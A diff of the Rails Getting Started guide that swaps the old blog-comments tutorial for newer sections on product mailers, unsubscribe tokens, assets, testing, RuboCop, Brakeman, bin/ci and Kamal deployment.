-The `t.references` line creates an integer column called `article_id`, an index
-for it, and a foreign key constraint that points to the `id` column of the `articles`
-table. Go ahead and run the migration:
+We use `product_url` instead of `product_path` in mailers because email clients
+need to know the full URL to open in the browser when the link is clicked.
 
-```bash
-$ bin/rails db:migrate
+We can test an email by opening the Rails console and loading a product and
+subscriber to send to:
+
+```irb
+store(dev)> product = Product.first
+store(dev)> subscriber = product.subscribers.find_or_create_by(email: "subscriber@example.org")
+store(dev)> ProductMailer.with(product: product, subscriber: subscriber).in_stock.deliver_later
 ```
 
-Rails is smart enough to only execute the migrations that have not already been
-run against the current database, so in this case you will just see:
+You'll see that it prints out an email in the logs.
 
-```bash
-==  CreateComments: migrating =================================================
--- create_table(:comments)
-   -> 0.0115s
-==  CreateComments: migrated (0.0119s) ========================================
 ```
+ProductMailer#in_stock: processed outbound mail in 63.0ms
+Delivered mail 66a3a9afd5d4a_108b04a4c41443@local.mail (33.1ms)
+Date: Fri, 26 Jul 2024 08:50:39 -0500
+From: from@example.com
+To: subscriber@example.com
+Message-ID: <66a3a9afd5d4a_108b04a4c41443@local.mail>
+Subject: In stock
+Mime-Version: 1.0
+Content-Type: multipart/alternative;
+ boundary="--==_mimepart_66a3a9afd235e_108b04a4c4136f";
+ charset=UTF-8
+Content-Transfer-Encoding: 7bit
 
-### Associating Models
 
-Active Record associations let you easily declare the relationship between two
-models. In the case of comments and articles, you could write out the
-relationships this way:
+----==_mimepart_66a3a9afd235e_108b04a4c4136f
+Content-Type: text/plain;
+ charset=UTF-8
+Content-Transfer-Encoding: 7bit
 
-* Each comment belongs to one article.
-* One article can have many comments.
+Good news!
 
-In fact, this is very close to the syntax that Rails uses to declare this
-association. You've already seen the line of code inside the `Comment` model
-(app/models/comment.rb) that makes each comment belong to an Article:
+T-Shirt is back in stock.
+http://localhost:3000/products/1
 
-```ruby
-class Comment < ApplicationRecord
-  belongs_to :article
+
+----==_mimepart_66a3a9afd235e_108b04a4c4136f
+Content-Type: text/html;
+ charset=UTF-8
+Content-Transfer-Encoding: 7bit
+
+<!-- BEGIN app/views/layouts/mailer.html.erb --><!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+    <style>
+      /* Email styles need to be inline */
+    </style>
+  </head>
+
+  <body>
+    <!-- BEGIN app/views/product_mailer/in_stock.html.erb --><h1>Good news!</h1>
+
+<p><a href="http://localhost:3000/products/1">T-Shirt</a> is back in stock.</p>
+<!-- END app/views/product_mailer/in_stock.html.erb -->
+  </body>
+</html>
+<!-- END app/views/layouts/mailer.html.erb -->
+----==_mimepart_66a3a9afd235e_108b04a4c4136f--
+
+Performed ActionMailer::MailDeliveryJob (Job ID: 5e2bd5f2-f54f-4088-ace3-3f6eb15aaf46) from Async(default) in 111.34ms
+```
+
+To trigger these emails, we can use a callback in the Product model to send
+emails anytime the inventory count changes from 0 to a positive number.
+
+```ruby#10-20
+# app/models/product.rb
+class Product < ApplicationRecord
+  has_many :subscribers, dependent: :destroy
+  has_one_attached :featured_image
+  has_rich_text :description
+
+  validates :name, presence: true
+  validates :inventory_count, numericality: { greater_than_or_equal_to: 0 }
+
+  after_update_commit :notify_subscribers, if: :back_in_stock?
+
+  def back_in_stock?
+    inventory_count_previously_was.zero? && inventory_count.positive?
+  end
+
+  def notify_subscribers
+    subscribers.each do |subscriber|
+      ProductMailer.with(product: self, subscriber: subscriber).in_stock.deliver_later
+    end
+  end
 end
 ```
 
-You'll need to edit `app/models/article.rb` to add the other side of the
-association:
+`after_update_commit` is an Active Record callback that is fired after changes
+are saved to the database. `if: :back_in_stock?` tells the callback to run only
+if the `back_in_stock?` method returns true.
+
+Active Record keeps track of changes to attributes so `back_in_stock?` checks
+the previous value of `inventory_count` using `inventory_count_previously_was`.
+Then we can compare that against the current inventory count to determine if the
+product is back in stock.
+
+`notify_subscribers` uses the Active Record association to query the
+`subscribers` table for all subscribers for this specific product and then
+queues up the `in_stock` email to be sent to each of them.
+
+### Extracting a Concern
+
+The Product model now has a decent amount of code for handling notifications. To
+better organize our code, we can extract this to an `ActiveSupport::Concern`. A
+Concern is a Ruby module with some syntactic sugar to make using them easier.
+
+First let’s create the Notifications module.
+
+Create a file at `app/models/product/notifications.rb` with the following:
 
 ```ruby
-class Article < ApplicationRecord
-  has_many :comments
-  validates :title, presence: true,
-                    length: { minimum: 5 }
+# app/models/product/notifications.rb
+module Product::Notifications
+  extend ActiveSupport::Concern
+
+  included do
+    has_many :subscribers, dependent: :destroy
+    after_update_commit :notify_subscribers, if: :back_in_stock?
+  end
+
+  def back_in_stock?
+    inventory_count_previously_was.zero? && inventory_count.positive?
+  end
+
+  def notify_subscribers
+    subscribers.each do |subscriber|
+      ProductMailer.with(product: self, subscriber: subscriber).in_stock.deliver_later
+    end
+  end
 end
 ```
 
-These two declarations enable a good bit of automatic behavior. For example, if
-you have an instance variable `@article` containing an article, you can retrieve
-all the comments belonging to that article as an array using
-`@article.comments`.
+When you include a module in a class, any code inside the `included` block runs
+as if it’s part of that class. At the same time, the methods defined in the
+module become regular methods you can call on objects (instances) of that class.
 
-TIP: For more information on Active Record associations, see the [Active Record
-Associations](association_basics.html) guide.
+Now that the code triggering the notification has been extracted into the
+Notifications module, the Product model can be simplified to include the
+Notifications module.
 
-### Adding a Route for Comments
+```ruby#3
+# app/models/product.rb
+class Product < ApplicationRecord
+  include Notifications
 
-As with the `welcome` controller, we will need to add a route so that Rails
-knows where we would like to navigate to see `comments`. Open up the
-`config/routes.rb` file again, and edit it as follows:
+  has_one_attached :featured_image
+  has_rich_text :description
 
-```ruby
-resources :articles do
-  resources :comments
+  validates :name, presence: true
+  validates :inventory_count, numericality: { greater_than_or_equal_to: 0 }
 end
 ```
 
-This creates `comments` as a _nested resource_ within `articles`. This is
-another part of capturing the hierarchical relationship that exists between
-articles and comments.
+Concerns are a great way to organize features of your Rails application. As you
+add more features to the Product, the class will become messy. Instead, we can
+use Concerns to extract each feature out into a self-contained module like
+`Product::Notifications` which contains all the functionality for handling
+subscribers and how notifications are sent.
 
-TIP: For more information on routing, see the [Rails Routing](routing.html)
-guide.
+Extracting code into concerns also helps make features reusable. For example, we
+could introduce a new model that also needs subscriber notifications. This
+module could be used in multiple models to provide the same functionality.
 
-### Generating a Controller
+### Unsubscribe Links
 
-With the model in hand, you can turn your attention to creating a matching
-controller. Again, we'll use the same generator we used before:
+A subscriber may want to unsubscribe at some point, so let's build that next.
 
-```bash
-$ bin/rails generate controller Comments
-```
-
-This creates five files and one empty directory:
-
-| File/Directory                               | Purpose                                  |
-| -------------------------------------------- | ---------------------------------------- |
-| app/controllers/comments_controller.rb       | The Comments controller                  |
-| app/views/comments/                          | Views of the controller are stored here  |
-| test/controllers/comments_controller_test.rb | The test for the controller              |
-| app/helpers/comments_helper.rb               | A view helper file                       |
-| app/assets/javascripts/comments.coffee       | CoffeeScript for the controller          |
-| app/assets/stylesheets/comments.scss         | Cascading style sheet for the controller |
-
-Like with any blog, our readers will create their comments directly after
-reading the article, and once they have added their comment, will be sent back
-to the article show page to see their comment now listed. Due to this, our
-`CommentsController` is there to provide a method to create comments and delete
-spam comments when they arrive.
-
-So first, we'll wire up the Article show template
-(`app/views/articles/show.html.erb`) to let us make a new comment:
-
-```html+erb
-<p>
-  <strong>Title:</strong>
-  <%= @article.title %>
-</p>
-
-<p>
-  <strong>Text:</strong>
-  <%= @article.text %>
-</p>
-
-<h2>Add a comment:</h2>
-<%= form_for([@article, @article.comments.build]) do |f| %>
-  <p>
-    <%= f.label :commenter %><br>
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br>
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit %>
-  </p>
-<% end %>
+First, we need a route for unsubscribing that will be the URL we include in
+emails.
 
-<%= link_to 'Edit', edit_article_path(@article) %> |
-<%= link_to 'Back', articles_path %>
+```ruby#6
+# config/routes.rb
+Rails.application.routes.draw do
+  # ...
+  resources :products do
+    resources :subscribers, only: [ :create ]
+  end
+  resource :unsubscribe, only: [ :show ]
 ```
 
-This adds a form on the `Article` show page that creates a new comment by
-calling the `CommentsController` `create` action. The `form_for` call here uses
-an array, which will build a nested route, such as `/articles/1/comments`.
+The unsubscribe route is added at the top level and uses the singular `resource` in order to handle routes like `/unsubscribe?token=xyz`.
+
+Active Record has a feature called `generates_token_for` that can generate
+unique tokens to find database records for different purposes. We can use this
+for generating a unique unsubscribe token to use in the email's unsubscribe URL.
+
+```ruby#4
+# app/models/subscriber.rb
+class Subscriber < ApplicationRecord
+  belongs_to :product
+  generates_token_for :unsubscribe
+end
+```
 
-Let's wire up the `create` in `app/controllers/comments_controller.rb`:
+Our controller will first look up the Subscriber record from the token in the
+URL. Once the subscriber is found, it will destroy the record and redirect to
+the homepage. Create `app/controllers/unsubscribes_controller.rb` and add the
+following code:
 
 ```ruby
-class CommentsController < ApplicationController
-  def create
-    @article = Article.find(params[:article_id])
-    @comment = @article.comments.create(comment_params)
-    redirect_to article_path(@article)
+# app/controllers/unsubscribes_controller.rb
+class UnsubscribesController < ApplicationController
+  allow_unauthenticated_access
+  before_action :set_subscriber
+
+  def show
+    @subscriber&.destroy
+    redirect_to root_path, notice: "Unsubscribed successfully."
   end
 
   private
-    def comment_params
-      params.require(:comment).permit(:commenter, :body)
+    def set_subscriber
+      @subscriber = Subscriber.find_by_token_for(:unsubscribe, params[:token])
     end
 end
 ```
 
-You'll see a bit more complexity here than you did in the controller for
-articles. That's a side-effect of the nesting that you've set up. Each request
-for a comment has to keep track of the article to which the comment is attached,
-thus the initial call to the `find` method of the `Article` model to get the
-article in question.
-
-In addition, the code takes advantage of some of the methods available for an
-association. We use the `create` method on `@article.comments` to create and
-save the comment. This will automatically link the comment so that it belongs to
-that particular article.
-
-Once we have made the new comment, we send the user back to the original article
-using the `article_path(@article)` helper. As we have already seen, this calls
-the `show` action of the `ArticlesController` which in turn renders the
-`show.html.erb` template. This is where we want the comment to show, so let's
-add that to the `app/views/articles/show.html.erb`.
-
-```html+erb
-<p>
-  <strong>Title:</strong>
-  <%= @article.title %>
-</p>
-
-<p>
-  <strong>Text:</strong>
-  <%= @article.text %>
-</p>
-
-<h2>Comments</h2>
-<% @article.comments.each do |comment| %>
-  <p>
-    <strong>Commenter:</strong>
-    <%= comment.commenter %>
-  </p>
-
-  <p>
-    <strong>Comment:</strong>
-    <%= comment.body %>
-  </p>
-<% end %>
+Last but not least, let's add the unsubscribe link to our email templates.
 
-<h2>Add a comment:</h2>
-<%= form_for([@article, @article.comments.build]) do |f| %>
-  <p>
-    <%= f.label :commenter %><br>
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br>
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit %>
-  </p>
-<% end %>
+In `app/views/product_mailer/in_stock.html.erb`, add a `link_to`:
+
+```erb#6
+<%# app/views/product_mailer/in_stock.html.erb %>
+<h1>Good news!</h1>
+
+<p><%= link_to @product.name, product_url(@product) %> is back in stock.</p>
+
+<%= link_to "Unsubscribe", unsubscribe_url(token: params[:subscriber].generate_token_for(:unsubscribe)) %>
+```
+
+In `app/views/product_mailer/in_stock.text.erb`, add the URL in plain text:
+
+```erb#7
+<%# app/views/product_mailer/in_stock.text.erb %>
+Good news!
 
-<%= link_to 'Edit', edit_article_path(@article) %> |
-<%= link_to 'Back', articles_path %>
+<%= @product.name %> is back in stock.
+<%= product_url(@product) %>
+
+Unsubscribe: <%= unsubscribe_url(token: params[:subscriber].generate_token_for(:unsubscribe)) %>
 ```
 
-Now you can add articles and comments to your blog and have them show up in the
-right places.
+When the unsubscribe link is clicked, the subscriber record will be deleted from
+the database. The controller also safely handles invalid or expired tokens
+without raising any errors.
+
+Use the Rails console to send another email and test the unsubscribe link in the
+logs.
+
+Adding CSS & JavaScript
+-----------------------
+
+CSS & JavaScript are core to building web applications, so let's learn how to
+use them with Rails.
+
+### Propshaft
+
+Rails' asset pipeline is called Propshaft. It takes your CSS, JavaScript,
+images, and other assets and serves them to your browser. In production,
+Propshaft keeps track of each version of your assets so they can be cached to
+make your pages faster. Check out the
+[Asset Pipeline guide](asset_pipeline.html) to learn more about how this works.
+
+Let's modify `app/assets/stylesheets/application.css` and change our font to
+sans-serif.
+
+```css
+/* app/assets/stylesheets/application.css */
+body {
+  font-family: Arial, Helvetica, sans-serif;
+  padding: 1rem;
+}
 
-![Article with Comments](images/getting_started/article_with_comments.png)
+nav {
+  justify-content: flex-end;
+  display: flex;
+  font-size: 0.875em;
+  gap: 0.5rem;
+  max-width: 1024px;
+  margin: 0 auto;
+  padding: 1rem;
+}
 
-Refactoring
------------
+nav a {
+  display: inline-block;
+}
 
-Now that we have articles and comments working, take a look at the
-`app/views/articles/show.html.erb` template. It is getting long and awkward. We
-can use partials to clean it up.
+main {
+  max-width: 1024px;
+  margin: 0 auto;
+}
 
-### Rendering Partial Collections
+.alert,
+.error {
+  color: red;
+}
 
-First, we will make a comment partial to extract showing all the comments for
-the article. Create the file `app/views/comments/_comment.html.erb` and put the
-following into it:
+.notice {
+  color: green;
+}
 
-```html+erb
-<p>
-  <strong>Commenter:</strong>
-  <%= comment.commenter %>
-</p>
+section.product {
+  display: flex;
+  gap: 1rem;
+  flex-direction: row;
+}
 
-<p>
-  <strong>Comment:</strong>
-  <%= comment.body %>
-</p>
+section.product img {
+  border-radius: 8px;
+  flex-basis: 50%;
+  max-width: 50%;
+}
 ```
 
-Then you can change `app/views/articles/show.html.erb` to look like the
-following:
+Then we'll update `app/views/products/show.html.erb` to use these new styles.
 
-```html+erb
-<p>
-  <strong>Title:</strong>
-  <%= @article.title %>
-</p>
-
-<p>
-  <strong>Text:</strong>
-  <%= @article.text %>
-</p>
-
-<h2>Comments</h2>
-<%= render @article.comments %>
-
-<h2>Add a comment:</h2>
-<%= form_for([@article, @article.comments.build]) do |f| %>
-  <p>
-    <%= f.label :commenter %><br>
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br>
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit %>
-  </p>
-<% end %>
+```erb#2,4,7,19-20
+<%# app/views/products/show.html.erb %>
+<p><%= link_to "Back", products_path %></p>
 
-<%= link_to 'Edit', edit_article_path(@article) %> |
-<%= link_to 'Back', articles_path %>
-```
-
-This will now render the partial in `app/views/comments/_comment.html.erb` once
-for each comment that is in the `@article.comments` collection. As the `render`
-method iterates over the `@article.comments` collection, it assigns each
-comment to a local variable named the same as the partial, in this case
-`comment` which is then available in the partial for us to show.
-
-### Rendering a Partial Form
-
-Let us also move that new comment section out to its own partial. Again, you
-create a file `app/views/comments/_form.html.erb` containing:
-
-```html+erb
-<%= form_for([@article, @article.comments.build]) do |f| %>
-  <p>
-    <%= f.label :commenter %><br>
-    <%= f.text_field :commenter %>
-  </p>
-  <p>
-    <%= f.label :body %><br>
-    <%= f.text_area :body %>
-  </p>
-  <p>
-    <%= f.submit %>
-  </p>
-<% end %>
+<section class="product">
+  <%= image_tag @product.featured_image if @product.featured_image.attached? %>
+
+  <section class="product-info">
+    <% cache @product do %>
+      <h1><%= @product.name %></h1>
+      <%= @product.description %>
+    <% end %>
+
+    <%= render "inventory", product: @product %>
+
+    <% if authenticated? %>
+      <%= link_to "Edit", edit_product_path(@product) %>
+      <%= button_to "Delete", @product, method: :delete, data: { turbo_confirm: "Are you sure?" } %>
+    <% end %>
+  </section>
+</section>
 ```
 
-Then you make the `app/views/articles/show.html.erb` look like the following:
+Refresh your page and you'll see the CSS has been applied.
 
-```html+erb
-<p>
-  <strong>Title:</strong>
-  <%= @article.title %>
-</p>
+### Import Maps
 
-<p>
-  <strong>Text:</strong>
-  <%= @article.text %>
-</p>
+Rails uses import maps for JavaScript by default. This allows you to write
+modern JavaScript modules with no build steps.
 
-<h2>Comments</h2>
-<%= render @article.comments %>
+You can find the JavaScript pins in `config/importmap.rb`. This file maps the
+JavaScript package names with the source file which is used to generate the
+importmap tag in the browser.
 
-<h2>Add a comment:</h2>
-<%= render 'comments/form' %>
+```ruby
+# config/importmap.rb
+# Pin npm packages by running ./bin/importmap
 
-<%= link_to 'Edit', edit_article_path(@article) %> |
-<%= link_to 'Back', articles_path %>
+pin "application"
+pin "@hotwired/turbo-rails", to: "turbo.min.js"
+pin "@hotwired/stimulus", to: "stimulus.min.js"
+pin "@hotwired/stimulus-loading", to: "stimulus-loading.js"
+pin_all_from "app/javascript/controllers", under: "controllers"
+pin "trix"
+pin "@rails/actiontext", to: "actiontext.esm.js"
 ```
 
-The second render just defines the partial template we want to render,
-`comments/form`. Rails is smart enough to spot the forward slash in that
-string and realize that you want to render the `_form.html.erb` file in
-the `app/views/comments` directory.
+TIP: Each pin maps a JavaScript package name (e.g., `"@hotwired/turbo-rails"`)
+to a specific file or URL (e.g., `"turbo.min.js"`). `pin_all_from` maps all
+files in a directory (e.g., `app/javascript/controllers`) to a namespace (e.g.,
+`"controllers"`).
+
+Import maps keep the setup clean and minimal, while still supporting modern
+JavaScript features.
 
-The `@article` object is available to any partials rendered in the view because
-we defined it as an instance variable.
+What are these JavaScript files already in our import map? They are a frontend
+framework called Hotwire that Rails uses by default.
 
-Deleting Comments
------------------
+### Hotwire
 
-Another important feature of a blog is being able to delete spam comments. To do
-this, we need to implement a link of some sort in the view and a `destroy`
-action in the `CommentsController`.
+Hotwire is a JavaScript framework designed to take full advantage of server-side
+generated HTML. It is comprised of 3 core components:
 
-So first, let's add the delete link in the
-`app/views/comments/_comment.html.erb` partial:
+1. [**Turbo**](https://turbo.hotwired.dev/) handles navigation, form
+   submissions, page components, and updates without writing any custom
+   JavaScript.
+2. [**Stimulus**](https://stimulus.hotwired.dev/) provides a framework for when
+   you need custom JavaScript to add functionality to the page.
+3. [**Native**](https://native.hotwired.dev/) allows you to make hybrid mobile
+   apps by embedding your web app and progressively enhancing it with native
+   mobile features.
 
-```html+erb
-<p>
-  <strong>Commenter:</strong>
-  <%= comment.commenter %>
-</p>
+We haven't written any JavaScript yet, but we have been using Hotwire on the
+frontend. For instance, the form you created to add and edit a product was
+powered by Turbo.
 
-<p>
-  <strong>Comment:</strong>
-  <%= comment.body %>
-</p>
+Learn more in the [Asset Pipeline](asset_pipeline.html) and
+[Working with JavaScript in Rails](working_with_javascript_in_rails.html)
+guides.
 
-<p>
-  <%= link_to 'Destroy Comment', [comment.article, comment],
-               method: :delete,
-               data: { confirm: 'Are you sure?' } %>
-</p>
+Testing
+-------
+
+Rails comes with a robust test suite. Let's write a test to ensure that the
+correct number of emails are sent when a product is back in stock.
+
+### Fixtures
+
+When you generate a model using Rails, it automatically creates a corresponding
+fixture file in the `test/fixtures` directory.
+
+Fixtures are predefined sets of data that populate your test database before
+running tests. They allow you to define records with easy-to-remember names,
+making it simple to access them in your tests.
+
+This file will be empty by default - you need to populate it with fixtures for
+your tests.
+
+Let’s update the product fixtures file at `test/fixtures/products.yml` with the
+following:
+
+```yaml
+# test/fixtures/products.yml
+tshirt:
+  name: T-Shirt
+  inventory_count: 15
 ```
 
-Clicking this new "Destroy Comment" link will fire off a `DELETE
-/articles/:article_id/comments/:id` to our `CommentsController`, which can then
-use this to find the comment we want to delete, so let's add a `destroy` action
-to our controller (`app/controllers/comments_controller.rb`):
+And for subscribers, let's add these two fixtures to
+`test/fixtures/subscribers.yml`:
+
+```yaml
+# test/fixtures/subscribers.yml
+david:
+  product: tshirt
+  email: david@example.org
+
+chris:
+  product: tshirt
+  email: chris@example.org
+```
+
+You'll notice that we can reference the `Product` fixture by name here. Rails
+associates this automatically for us in the database so we don't have to manage
+record IDs and associations in tests.
+
+These fixtures will be automatically inserted into the database when we run our
+test suite.
+
+### Testing Emails
+
+In `test/models/product_test.rb`, let's add a test:
 
 ```ruby
-class CommentsController < ApplicationController
-  def create
-    @article = Article.find(params[:article_id])
-    @comment = @article.comments.create(comment_params)
-    redirect_to article_path(@article)
-  end
+# test/models/product_test.rb
+require "test_helper"
 
-  def destroy
-    @article = Article.find(params[:article_id])
-    @comment = @article.comments.find(params[:id])
-    @comment.destroy
-    redirect_to article_path(@article)
-  end
+class ProductTest < ActiveSupport::TestCase
+  include ActionMailer::TestHelper
 
-  private
-    def comment_params
-      params.require(:comment).permit(:commenter, :body)
+  test "sends email notifications when back in stock" do
+    product = products(:tshirt)
+
+    # Set product out of stock
+    product.update(inventory_count: 0)
+
+    assert_emails 2 do
+      product.update(inventory_count: 99)
     end
+  end
 end
 ```
 
-The `destroy` action will find the article we are looking at, locate the comment
-within the `@article.comments` collection, and then remove it from the
-database and send us back to the show action for the article.
+Let's break down what this test is doing.
+
+First, we include the Action Mailer test helpers so we can monitor emails sent
+during the test.
+
+The `tshirt` fixture is loaded using the `products()` fixture helper and returns
+the Active Record object for that record. Each fixture generates a helper in the
+test suite to make it easy to reference fixtures by name since their database
+IDs may be different each run.
+
+Then we ensure the tshirt is out of stock by updating it's inventory to 0.
+
+Next, we use `assert_emails` to ensure 2 emails were generated by the code
+inside the block. To trigger the emails, we update the product's inventory count
+inside the block. This triggers the `notify_subscribers` callback in the Product
+model to send emails. Once that's done executing, `assert_emails` counts the
+emails and ensures it matches the expected count.
+
+We can run the test suite with `bin/rails test` or an individual test file by
+passing the filename.
+
+```bash
+$ bin/rails test test/models/product_test.rb
+Running 1 tests in a single process (parallelization threshold is 50)
+Run options: --seed 3556
+
+# Running:
+
+.
 
+Finished in 0.343842s, 2.9083 runs/s, 5.8166 assertions/s.
+1 runs, 2 assertions, 0 failures, 0 errors, 0 skips
+```
 
-### Deleting Associated Objects
+Our test passes!
 
-If you delete an article, its associated comments will also need to be
-deleted, otherwise they would simply occupy space in the database. Rails allows
-you to use the `dependent` option of an association to achieve this. Modify the
-Article model, `app/models/article.rb`, as follows:
+Rails also generated an example test for `ProductMailer` at
+`test/mailers/product_mailer_test.rb`. Let's update it to make it also pass.
 
 ```ruby
-class Article < ApplicationRecord
-  has_many :comments, dependent: :destroy
-  validates :title, presence: true,
-                    length: { minimum: 5 }
+# test/mailers/product_mailer_test.rb
+require "test_helper"
+
+class ProductMailerTest < ActionMailer::TestCase
+  test "in_stock" do
+    mail = ProductMailer.with(product: products(:tshirt), subscriber: subscribers(:david)).in_stock
+    assert_equal "In stock", mail.subject
+    assert_equal [ "david@example.org" ], mail.to
+    assert_equal [ "from@example.com" ], mail.from
+    assert_match "Good news!", mail.body.encoded
+  end
 end
 ```
 
+Let's run the entire test suite now and ensure all the tests pass.
+
+```bash
+$ bin/rails test
+Running 2 tests in a single process (parallelization threshold is 50)
+Run options: --seed 16302
+
+# Running:
+
+..
+
+Finished in 0.665856s, 3.0037 runs/s, 10.5128 assertions/s.
+2 runs, 7 assertions, 0 failures, 0 errors, 0 skips
+```
+
+You can use this as a starting place to continue building out a test suite with
+full coverage of the application features.
+
+Learn more about [Testing Rails Applications](testing.html)
+
+Consistently Formatted Code with RuboCop
+----------------------------------------
+
+When writing code we may sometimes use inconsistent formatting. Rails comes with
+a linter called RuboCop that helps keep our code formatted consistently.
+
+We can check our code for consistency by running:
+
+```bash
+$ bin/rubocop
+```
+
+This will print out any offenses and tell you what they are.
+
+```bash
+Inspecting 53 files
+.....................................................
+
+53 files inspected, no offenses detected
+```
+
+RuboCop can automatically fix offenses using the `--autocorrect` flag (or its short version `-a`).
+
+```
+$ bin/rubocop -a
+```
+
 Security
 --------
 
-### Basic Authentication
+Rails includes the Brakeman gem for checking security issues with your
+application - vulnerabilities that can lead to attacks such as session
+hijacking, session fixation, or redirection.
+
+Run `bin/brakeman` and it will analyze your application and output a report.
+
+```bash
+$ bin/brakeman
+Loading scanner...
+...
+
+== Overview ==
+
+Controllers: 6
+Models: 6
+Templates: 15
+Errors: 0
+Security Warnings: 0
+
+== Warning Types ==
+
+
+No warnings found
+```
+
+Learn more about [Securing Rails Applications](security.html)
+
+Continuous Integration with `bin/ci`
+------------------------------------------
+
+Rails applications include a `bin/ci` script that runs all essential checks for
+your app: setup, code style (RuboCop), security audits, and tests. The steps
+are defined in `config/ci.rb` and can be customized for your project.
+
+This script prints each step as it runs, showing ✅ for success and � for
+failures. If any step fails, `bin/ci` exits with a nonzero status.
+
+To use a CI Provider, point your pipeline to `bin/ci`. This ensures consistent
+checks locally and in CI.
+
+To run it locally, call the script from your command line:
+
+```bash
+$ bin/ci
+Continuous Integration
+Running tests, style checks, and security audits
+
+
+Setup
+bin/setup --skip-server
+
+== Installing dependencies ==
+The Gemfile's dependencies are satisfied
+
+== Preparing database ==
 
-If you were to publish your blog online, anyone would be able to add, edit and
-delete articles or delete comments.
+== Removing old logs and tempfiles ==
 
-Rails provides a very simple HTTP authentication system that will work nicely in
-this situation.
+✅ Setup passed in 2.11s
 
-In the `ArticlesController` we need to have a way to block access to the
-various actions if the person is not authenticated. Here we can use the Rails
-`http_basic_authenticate_with` method, which allows access to the requested
-action if that method allows it.
 
-To use the authentication system, we specify it at the top of our
-`ArticlesController` in `app/controllers/articles_controller.rb`. In our case,
-we want the user to be authenticated on every action except `index` and `show`,
-so we write that:
+Style: Ruby
+bin/rubocop
+
+Inspecting 25 files
+.........................
+
+25 files inspected, no offenses detected
+
+✅ Style: Ruby passed in 1.17s
+# ...
+✅ Continuous Integration passed in 8.91s
+```
+
+### CI Steps DSL
+
+The file is written in a DSL that makes it straightforward to manage steps, here
+we add another step to check to make sure we don't leave any TODOs behind in
+the code in `config/ci.rb`:
+
+```ruby#6-7
+# config/ci.rb
+CI.run do
+  step "Setup", "bin/setup --skip-server"
+
+  step "Style: Ruby", "bin/rubocop"
+  step "Check: No TODOs",
+        "if grep -r TODO app/; then exit 1; fi"
+  # ...
+end
+```
+
+To test this out, I added a todo comment at the start of a random file, here
+the `ApplicationController`:
 
 ```ruby
-class ArticlesController < ApplicationController
+# app/controllers/application_controller.rb
+# TODO: Remove this todo
+class ApplicationController < ActionController::Base
+# ...
+```
 
-  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+Now when I run it on the CI:
 
-  def index
-    @articles = Article.all
-  end
+```bash
+$ bin/ci
+# ...
+Check: No TODOs
+if grep -r TODO app/; then exit 1; fi
+
+app/controllers/application_controller.rb:# TODO: Remove this todo
 
-  # snippet for brevity
+� Check: No TODOs failed in 0.01s
+# ...
+� Continuous Integration failed in 9.09s
 ```
 
-We also want to allow only authenticated users to delete comments, so in the
-`CommentsController` (`app/controllers/comments_controller.rb`) we write:
+To verify, remove the comment:
 
 ```ruby
-class CommentsController < ApplicationController
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+# ...
+```
 
-  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+and `bin/ci` should now pass:
 
-  def create
-    @article = Article.find(params[:article_id])
-    # ...
-  end
+```bash
+$ bin/ci
+# ...
+Check: No TODOs
+if grep -r TODO app/; then exit 1; fi
+
+
+✅ Check: No TODOs passed in 0.01s
+# ...
+✅ Continuous Integration passed in 8.91s
+```
+
+To learn more about the DSL, read the documentation for [ActiveSupport::ContinuousIntegration](https://www.rubydoc.info/github/rails/rails/main/ActiveSupport/ContinuousIntegration).
+
+Deploying to Production
+-----------------------
+
+And now the fun part: let’s deploy your app.
+
+Rails comes with a deployment tool called [Kamal](https://kamal-deploy.org) that
+we can use to deploy our application directly to a server. Kamal uses Docker
+containers to run your application and deploy with zero downtime.
+
+By default, Rails comes with a production-ready Dockerfile that Kamal will use
+to build the Docker image, creating a containerized version of your application
+with all its dependencies and configurations. This Dockerfile uses
+[Thruster](https://github.com/basecamp/thruster) to compress and serve assets
+efficiently in production.
+
+To deploy with Kamal, we need:
+
+- A server running Ubuntu LTS with 1GB RAM or more. The server should run the
+  Ubuntu operating system with a Long-Term Support (LTS) version so it receives
+  regular security and bug fixes. Hetzner, DigitalOcean, and other hosting
+  services provide servers to get started.
+- A [Docker Hub](https://hub.docker.com) account and access token. Docker Hub
+  stores the image of the application so it can be downloaded and run on the
+  server.
+
+On Docker Hub, [create a Repository](https://hub.docker.com/repository/create)
+for your application image. Use "store" as the name for the repository.
+
+Open `config/deploy.yml` and replace `192.168.0.1` with your server's IP address
+and `your-user` with your Docker Hub username.
 
-  # snippet for brevity
+```yaml
+# config/deploy.yml
+# Name of your application. Used to uniquely configure containers.
+service: store
+
+# Name of the container image.
+image: your-user/store
+
+# Deploy to these servers.
+servers:
+  web:
+    - 192.168.0.1
+
+# Credentials for your image host.
+registry:
+  # Specify the registry server, if you're not using Docker Hub
+  # server: registry.digitalocean.com / ghcr.io / ...
+  username: your-user
+```
+
+Under the `proxy:` section, you can add a domain to enable SSL for your
+application too. Make sure your DNS record points to the server and Kamal will
+use LetsEncrypt to issue an SSL certificate for the domain.
+
+```yaml
+# config/deploy.yml
+proxy:
+  ssl: true
+  host: app.example.com
+```
+
+[Create an access token](https://app.docker.com/settings/personal-access-tokens/create)
+with Read & Write permissions on Docker's website so Kamal can push the Docker
+image for your application.
+
+Then export the access token in the terminal so Kamal can find it.
+
+```bash
+export KAMAL_REGISTRY_PASSWORD=your-access-token
+```
+
+Run the following command to set up your server and deploy your application for
+the first time.
+
+```bash
+$ bin/kamal setup
+```
+
+Congratulations! Your new Rails application is live and in production!
+
+To view your new Rails app in action, open your browser and enter your server's
+IP address. You should see your store up and running.
+
+After this, when you make changes to your app and want to push them to
+production, you can run the following:
+
+```bash
+$ bin/kamal deploy
+```
+
+### Adding a User to Production
+
+To create and edit products in production, we need a User record in the
+production database.
+
+You can use Kamal to open a production Rails console.
+
+```bash
+$ bin/kamal console
+```
+
+```ruby
+store(prod)> User.create!(email_address: "you@example.org", password: "s3cr3t", password_confirmation: "s3cr3t")
 ```
 
-Now if you try to create a new article, you will be greeted with a basic HTTP
-Authentication challenge:
